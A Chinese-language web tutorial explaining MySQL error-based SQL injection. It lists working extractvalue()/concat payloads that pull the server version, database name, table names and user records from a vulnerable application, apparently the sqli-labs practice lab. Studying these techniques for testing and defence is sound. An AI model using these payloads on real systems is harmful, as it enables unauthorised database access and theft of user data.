首頁 >資料庫 >mysql教程 >mysql報錯注入是什麼

mysql報錯注入是什麼

WBOY
WBOY原創
2022-03-09 13:58:132915瀏覽

在mysql中,報錯注入就是指透過頁面回報的錯誤訊息,建構適當的語句來取得想要的資料;應用系統未關閉資料庫報錯函數,可以使用extractvalue()函數,從目標XML中傳回包含所查詢值的字串。

mysql報錯注入是什麼

本教學操作環境:windows10系統、mysql8.0.22版本、Dell G3電腦。

mysql報錯注入是什麼

一、什麼是報錯注入?以及什麼情況下使用?

  報錯注入也可以說 是一種盲注------建構 payload 讓訊息透過錯誤提示回顯出。使用聯合查詢無法爆出顯位時可考慮使用報錯注入。

那麼報錯注入是怎麼形成的呢?

首先是應用程式系統未關閉資料庫報錯函數,對於一些SQL語句的錯誤,直接回顯在了頁面上,部分甚至直接洩露資料庫名稱和表名;

其次,必不可少就是後台未對MySQL對應的報錯函數進行過濾

二、報錯注入常用的函數

  在這裡我使用的是extractvalue()函數,其作用是從目標XML中傳回包含查詢值的字串

  EXTRACTVALUE (XML_document, XPath_string):第一個參數:XML_document是String格式,為XML文件物件的名稱; 第二個參數:XPath_string (Xpath格式的字串)

三、基本流程

  1.取得版本資訊

    使用語句 1' and extractvalue(1,concat(0x7e,(select @@version), 0x7e))--  。 其中concat是拼接()內的參數,0x7e解碼之後為~符號。 -- 為註解符,將原始碼中之後的語句全部註解掉以免發生錯誤。測試之後結果如下:

         //concat前的1為extractvalue()函數的第一個參數,可換為任意數字

     句  

   2.取得資料庫名稱

    使用語句

 1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,

   3.取得表名

     1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示

   4.取得資料來取得資料表名

    1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容
##學習:

mysql影片教學#

以上是mysql報錯注入是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn